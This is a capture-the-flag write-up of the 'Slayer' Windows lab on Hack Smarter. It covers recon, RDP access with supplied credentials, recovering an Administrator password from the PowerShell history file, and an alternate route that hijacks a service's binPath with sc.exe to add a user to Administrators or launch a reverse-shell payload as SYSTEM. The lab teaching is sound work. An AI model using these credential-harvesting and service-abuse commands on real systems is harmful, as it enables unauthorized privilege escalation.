Slayer is an easy Windows lab on Hack Smarter and it starts where most engagements end. A social engineering phase has already worked, and I am dropped in with a standard account and a working password on a Windows 11 build 26100 host. The win was a text file in the profile I already had. PowerShell logs every line you type, and whoever built this box set the local Administrator password from a session running as that same standard user. No exploit, one file read. Most of my hour still went into a privilege escalation that was not there at all.

I logged everything as I went and went from first nmap to the Administrator password in an hour and fifteen minutes. Most of that hour was spent on the wrong thing.

What is Hack Smarter?

Hack Smarter is a lab platform at hacksmarter.org . Slayer is an easy Windows box and the twelfth machine I have logged against it. It is an assumed-breach scenario, so instead of an external attack surface you start with working user credentials and the question becomes what you do after you are already in. Aftermath was the previous one I wrote up, and it is the opposite shape, three exposed ports and no credentials at all.

Recon

Four ports, and the service scan is the whole picture.

# Nmap 7.99 scan initiated Sat Oct  3 14:34:20 2026 as: /usr/lib/nmap/nmap --privileged -vvv -p 135,445,3389,49670 -4 -sV -sC -Pn -vvv --open -oA recon/scan 10.1.245.49
Nmap scan report for 10.1.245.49
Host is up, received user-set (0.50s latency).
Scanned at 2026-10-03 14:34:21 WITA for 84s

PORT      STATE SERVICE       REASON          VERSION
135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
445/tcp   open  microsoft-ds? syn-ack ttl 126
3389/tcp  open  ms-wbt-server syn-ack ttl 126
| rdp-ntlm-info: 
|   Target_Name: EC2AMAZ-M1LFCNO
|   NetBIOS_Domain_Name: EC2AMAZ-M1LFCNO
|   NetBIOS_Computer_Name: EC2AMAZ-M1LFCNO
|   DNS_Domain_Name: EC2AMAZ-M1LFCNO
|   DNS_Computer_Name: EC2AMAZ-M1LFCNO
|   Product_Version: 10.0.26100
|_  System_Time: 2026-10-03T06:35:03+00:00
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=EC2AMAZ-M1LFCNO
| Issuer: commonName=EC2AMAZ-M1LFCNO
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-02T06:33:21
| Not valid after:  2027-04-03T06:33:21
| MD5:     226c f50e 265c f2ad 641d 0b99 fdd2 56b3
| SHA-1:   bd8d 04e4 71d9 5886 b36e ea2a f2a1 e324 de8a aa3b
| -----BEGIN CERTIFICATE-----
| MIIC4jCCAcqgAwIBAgIQSed/QjZ0cqVNxsRoewISJDANBgkqhkiG9w0BAQsFADAa
| MRgwFgYDVQQDEw9FQzJBTUFaLU0xTEZDTk8wHhcNMjYxMDAyMDYzMzIxWhcNMjcw
| NDAzMDYzMzIxWjAaMRgwFgYDVQQDEw9FQzJBTUFaLU0xTEZDTk8wggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3t/Grp+ExIn7WFgZO2qNrCcGB4gIsDLNL
| 9vdBtV4vjXPNshoTB2N4Md5+fPsAf7yClbgoLXyC5o3tH1N/Js1xbeEtgy55/X1f
| Nv2A+K8Kf4bhExi+XRX0b0Zj9nWBfyIgkoxyizEhBRYOjC5fkJenmMyr0FM2TwBc
| wbgR4P5wv/GgIn83IcQEw+3kJ8d/pANj+sVBafQZFgbqvXoAcgZlszSU/28YYS+l
| qB4zDpbpluGPTEbjb2tBEpzIO+f4/xH5Dkemf9fVXgeWlRlTNvEEr8MrmIb5y2zN
| RrC56ZtJImnYGkHL74FsIDwEOYt7BjBtanD7Z58YheE1CcXkLvalAgMBAAGjJDAi
| MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsF
| AAOCAQEAtqbuwGTUUcn1529rACf/NFeqgou1txbu4MBIP4f03zBOrdnqq4kKxaZb
| Ksud5AGyrQG/8wv3KPCEJTGqYheuBf5v5V+PGYEcpokHV3bd0gVYXNKbh6LizL5p
| aAvnrMLe9acy6Rez0WN4+wCDIQ1aETTkRb6E5ZWYM+1zx1ByWHbNkqhmbF5xkcnp
| /Q3QOhC6MMrCNnNJvbSo3ZES/vMTr5DWpB9XSuzOn7mkpjrZInNs8iPiqz2nGXQe
| PqM0l6nL7+b6lIU84E6BCRGcsNbzCrz+KspSEnB3AmlB3+fzFKVN1dEZud5n+2iJ
|_-----END CERTIFICATE-----
49670/tcp open  unknown       syn-ack ttl 126
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.99%I=7%D=10/3%Time=6AC0A1F9%P=x86_64-pc-linux-gnu%r(Te
SF:rminalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02/\x08\0\x02\0
SF:\0\0");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: -1s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-10-03T06:35:02
|_  start_date: N/A

Four things to hold onto here.

The hostname is the most interesting string in the output: EC2AMAZ-M1LFCNO. That prefix is what AWS stamps on Windows instances by default, and the service list later in the post confirms it, because EC2Launch, the SSM agent and cfn-hup are all installed. This lab is built on the stock AWS Windows AMI, which is exactly why the attack surface is so flat. No web server, no WinRM exposed, no Active Directory.

Product_Version: 10.0.26100 pins the build. That number decides one of the escalation routes I tried, and it is worth writing down before you start researching CVEs rather than after.

Message signing enabled but not required on SMB 3.1.1 means relaying is theoretically in play. With one host and no second target to relay to, it stayed theoretical.

And port 49670 came back unknown. nmap got data from it and could not name it. I never pinned it down, and it turned out not to matter.

Anonymous SMB gets you nowhere

Both tools hit the same wall, and the second one says so explicitly.

SMB                      10.1.245.49     445    EC2AMAZ-M1LFCNO  [*] Windows 11 / Server 2025 Build 26100 x64 (name:EC2AMAZ-M1LFCNO) (domain:EC2AMAZ-M1LFCNO) (signing:False) (SMBv1:None)
SMB                      10.1.245.49     445    EC2AMAZ-M1LFCNO  [-] EC2AMAZ-M1LFCNO\: STATUS_ACCESS_DENIED 
SMB                      10.1.245.49     445    EC2AMAZ-M1LFCNO  [-] Error enumerating shares: Error occurs while reading from remote(104)

 ========================================
|    RPC Session Check on 10.1.245.49    |
 ========================================
[*] Check for anonymous access (null session)
[-] Could not establish null session: STATUS_ACCESS_DENIED
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
[-] Sessions failed, neither null nor user sessions were possible

[!] Aborting remainder of tests since sessions failed, rerun with valid credentials

That last line is the useful one. enum4linux-ng gives up rather than guessing, which is correct behaviour and worth knowing, so you do not read a partial report as a full one. What I did get out of this stage was the dialect list, SMB 2.0.2 through 3.1.1 with SMB 1.0 off, and a derived membership of workgroup member. No domain, so no Kerberos route and no AD escalation path.

Once I had credentials in hand I went back over SMB. Only the default and hidden shares came back, C$, ADMIN$ and IPC$, and every one of them denied access to a standard user. There was no custom share on this host, which closed SMB as an avenue rather than opening one.

RDP, the only door

With SMB a dead end anonymously, the credentials had one obvious place to go.

nxc rdp $IP -u tyler.ramsey -p 'REDACTED'

That came back Pwn3d!, which on the RDP module means the account can actually log in over Remote Desktop, not just that the password is valid. On a box with no web app and no SQL, that is the whole engagement.

xfreerdp3 /u:tyler.ramsey /p:'REDACTED' /v:$IP /dynamic-resolution

/dynamic-resolution is the flag I add every time without thinking about it. It lets the window resize and the remote desktop follows, which matters the moment you want to work in this session rather than just prove you have it.

What I actually am on this box

The first thing I run in any Windows shell is whoami /all, and on this box it is the most misleading output of the whole engagement.

PS C:\Users\tyler.ramsey\Documents> whoami /all

USER INFORMATION
----------------
User Name                    SID
============================ ============================================
ec2amaz-m1lfcno\tyler.ramsey S-1-5-21-504046506-4146033855-177558794-1000

GROUP INFORMATION
-----------------
Everyone                               Well-known group S-1-1-0      Mandatory, Enabled by default, Enabled
BUILTIN\Performance Log Users          Alias            S-1-5-32-559 Mandatory, Enabled by default, Enabled
BUILTIN\Remote Desktop Users           Alias            S-1-5-32-555 Mandatory, Enabled by default, Enabled
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory, Enabled by default, Enabled
NT AUTHORITY\REMOTE INTERACTIVE LOGON  Well-known group S-1-5-14
NT AUTHORITY\INTERACTIVE               Well-known group S-1-5-4
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11
NT AUTHORITY\This Organization         Well-known group S-1-5-15
NT AUTHORITY\Local account             Well-known group S-1-5-113
LOCAL                                  Well-known group S-1-2-0
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

PRIVILEGES INFORMATION
----------------------
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Read the privileges block first, because it closes a lot of doors. SeChangeNotifyPrivilege and SeIncreaseWorkingSetPrivilege are the only entries, and the second one is disabled. No SeImpersonatePrivilege, no SeDebugPrivilege, no SeTakeOwnershipPrivilege. Every token impersonation and potato style attack is out before I have even started, because those attacks need an impersonation right and this token does not have one.

Now read the group list. tyler.ramsey is a local account at RID 1000, Medium integrity, in Remote Desktop Users, in Users, and in one group that does not belong in that list.

BUILTIN\Performance Log Users.

Performance Log Users, and an escalation that does not apply

Performance Log Users is a group people skip over. Members can create and manage performance counters and ETW trace sessions, and there is a known privilege escalation shape around that: Performance Logs and Alerts Data Collector Sets run as SYSTEM, so if you can define one you can run code as SYSTEM. CVE-2024-38061, the DCOM Remote Cross-Session Activation elevation, is the CVE usually attached to that technique.

So I went at it properly, and it fell over twice, independently.

The patch level rules it out. Checking what was installed:

KB5049622   installed 2025-01-15
KB5053598   installed 2025-03-12
KB5052915   installed 2025-03-12

That puts the host on the March 2025 cumulative update for build 26100. Then I checked the NVD entry for CVE-2024-38061, published 2024-07-09. Its affected product list tops out at Windows 11 23H2 and Server 2023, which is build 25398. Build 26100 is not on the list at all. The CVE does not apply to this host.

The group is inert anyway. This is the check I should have run first, because it takes ten seconds and does not require reading an advisory. Even if the CVE applied, the group has to actually grant the account something for the technique to work.

C:\> logman create counter pl1
Access is denied.

And the tracing half of the same capability:

C:\> reg add HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger
Access is denied.

Both Performance Log Users capabilities, counters and traces, refused for this account. The group membership is real and it does nothing. tyler.ramsey also has no “Log on as a batch job” right, which is the other half of why the PLA route is not reachable. The group is a decoy.

One thing came out of the dead end. Enumerating the group members gave me a second local account name:

Aliases for "Performance Log Users"
--------------------
Members
-----------------------------
alice.wonderland
tyler.ramsey

I checked C:\Users\alice.wonderland and it was not readable, which is the expected result for a standard user and therefore no signal at all. Worth noting the difference between a permission error that means something and a permission error that means nothing.

There is a third note on this thread, and it is about me rather than the box. I had picked up the name SilverPotato second hand and went to look for the tool. A repository search for it on GitHub returned nothing. A tool name with no source behind it is a problem with my intel, not with the tool, and I had already spent time planning to build it on the target. Verify the tool exists before you decide it is the path.

Services, scheduled tasks and stored credentials

The standard sweep, done properly this time.

Get-CimInstance Win32_Service (filtered to NON-standard / non-Microsoft paths):
  Amazon EC2Launch      Stopped  LocalSystem   "C:\Program Files\Amazon\EC2Launch\service\EC2LaunchService.exe"
  AmazonSSMAgent        Running  LocalSystem   "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"
  cfn-hup               Stopped  LocalSystem   "C:\Program Files\Amazon\cfn-bootstrap\winhup.exe"
  SysMgmtAgent          Stopped  LocalSystem   C:\ProgramData\SysMgmtAgent\SysMgmtAgent.exe   <-- only service running from C:\ProgramData
  Sense                 Stopped  LocalSystem   "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"  (EDR present)
  MDCoreSvc/WdNisSvc/WinDefend Running          Defender platform 4.18.25090.3009-0 (current)
Everything else = stock Windows svchost/lsass services.

cmdkey /list -> Currently stored credentials: * NONE *

schtasks /query /fo LIST /v -> no user-created tasks

The Amazon services confirm the AWS AMI read from the recon section. Sense being present tells me Defender for Endpoint is installed, and the Defender platform is current at 4.18.25090.3009-0, so anything I drop on this host is going to be looked at.

The standout is SysMgmtAgent. Stopped, running as LocalSystem, binary sitting in C:\ProgramData, and the only non-Microsoft service on the box running from outside Program Files. That is exactly the shape you want to find.

And here is where I lost the plot. As tyler.ramsey I could not start it, and my icacls pass over service binaries and paths did not surface anything writable. So I did the clever thing, which was to try to get the service started some other way, by defining a scheduled task of my own that would trigger it. That went nowhere, and it went nowhere for a reason worth writing down: the block was the account’s rights over the service, not the trigger mechanism. Wrapping an action you are not allowed to perform in a scheduler does not grant you the action. schtasks /query /fo LIST /v also showed no user-created tasks to hijack, and cmdkey /list came back with no stored credentials.

I filed SysMgmtAgent away as a dead end. It was not one. It is the start of a second working route up this box, and the problem was the account I was standing in, not the service.

The foothold: PowerShell keeps a diary

Enumeration had produced a decoy group, a service I could not start, no writable binaries, no stored credentials and no tasks. So I went back to the boring thing, which is the user profile, and looked for artifacts.

The obvious cmdlet is the wrong one. Get-History only shows the commands in the current session, so it tells me nothing about what anyone ran before I arrived. What I actually want is where PSReadLine writes its history to disk.

(Get-PSReadlineOption).HistorySavePath

That returns a path, and it is the answer. PSReadLine saves every line you type into a plain text file called ConsoleHost_history.txt, per user, under that user’s own AppData, and it appends as you type. It survives logouts, reboots and sessions. It is not a security feature and it is not encrypted. It is a convenience feature that happens to become a credential store the moment anyone types a secret into a PowerShell prompt.

Someone had typed a secret into a PowerShell prompt on this box. Reading that file gave me the setup command for the machine, run as tyler.ramsey:

net user administrator REDACTED

That is the entire escalation. The box was built by setting the local Administrator password from an interactive session belonging to the standard user I had been handed, and PSReadLine kept the receipt.

Verified it, and the account is a local administrator:

nxc smb $IP -u administrator -p 'REDACTED'

Pwn3d! on the SMB module means local administrator on the host. RDP as that account did not work though, which was a surprise, because the password was good and the group membership was right. So I did not need a second remote session at all. From the tyler.ramsey session I already had:

runas /user:EC2AMAZ-M1LFCNO\Administrator powershell

That prompts for the password and opens a new PowerShell window holding a High integrity Administrator token. From there I read the flag at C:\Users\Administrator\root.txt.

The other way up the box

My route works. It is not the only one that does.

0xb0b’s walkthrough of Slayer documents a complete alternate chain, and reading it after I had finished explained exactly what I had been fumbling against.

The shape of it goes like this.

Run a proper enumeration script rather than my manual sweep. PrivescCheck with -Extended flags services as a privilege escalation vector, and names SysMgmtAgent specifically, because the service ImagePath has insecure filesystem permissions. My own icacls pass missed that. That is a point in favour of running the script and actually reading the report, not just running it and skimming the colours.

Then the whole chain hinges on which account you are standing in. As tyler.ramsey, sc.exe start SysMgmtAgent is refused. As alice.wonderland, the other local account I had already turned up as a member of Performance Log Users, the same service can be queried, stopped and started.

Getting into that account is the part I never reached. 0xb0b found the password sitting in a desktop.ini inside a C:\Management folder at the root of the system drive. On my instance that folder did not appear to exist, so I never tested alice’s credentials and never ran any part of this chain myself. Worth knowing that desktop.ini is a standard hiding place in labs and elsewhere, it is a folder customisation stub that almost nobody opens as text.

Once you can start a LocalSystem service, you do not need to touch its binary at all. You can point its image path at a command:

sc.exe config SysMgmtAgent binPath= "cmd.exe /c net localgroup Administrators /add alice.wonderland"
sc.exe start SysMgmtAgent

The service starts as LocalSystem, runs that command as LocalSystem, and alice.wonderland is now in the local Administrators group. Flag from there.

The same primitive goes all the way to SYSTEM. Swap the image path for a payload and start it again:

sc.exe config SysMgmtAgent binPath= "C:\Management\payload.exe"
sc.exe start SysMgmtAgent

0xb0b built that payload as a small Go reverse shell, which is a sensible choice against a current Defender install, and caught it on a penelope listener for a shell as NT AUTHORITY\SYSTEM.

Two things I want to remember from this. First, sc.exe config changing the binPath is the loud half of the service abuse family, and it is also the half that needs no write permission on the original binary, only the right over the service itself. Second, a service you cannot start is not a dead end, it is a question about your current token. I answered that question with a scheduled task, which was the wrong answer, when the right answer was a second set of credentials somewhere on the box.

What I took away

Read the history file before you build a potato. Get-History is the wrong cmdlet and (Get-PSReadlineOption).HistorySavePath is the right one. On this box that one line was the whole escalation, and I reached it after an hour of service ACLs and CVE research.

A group membership is not an escalation until you have proven the capability works. Two commands, logman create counter and a registry write, settled the Performance Log Users thread in under a minute. I ran them after I had already read the advisory and checked the patch level, which is the expensive order. Test what the group actually lets you do first, then find out whether it is even patched.

Open the boring files. One credential on this box hides in a desktop.ini, a folder customisation stub that looks like scenery. I never found that folder on my instance, which is its own lesson, but the habit is the point. Folder stubs, thumbs.db, hidden system files, and files with no extension are where things get hidden precisely because they look like part of the desktop.

A valid password does not mean RDP will work. The Administrator credentials checked out against SMB and runas and still refused a remote desktop session. When the session you already have is enough to spawn an elevated one, stop trying to open a second front door.

A service you cannot start is a question about your token, not about the service. Before I try to trigger a blocked action through a scheduler or a task, I should be asking which local account can perform it, and looking for that account’s credentials.

Resources

Related posts: Hack Smarter - Aftermath | Hack the Box - Cap | Hack the Box - Code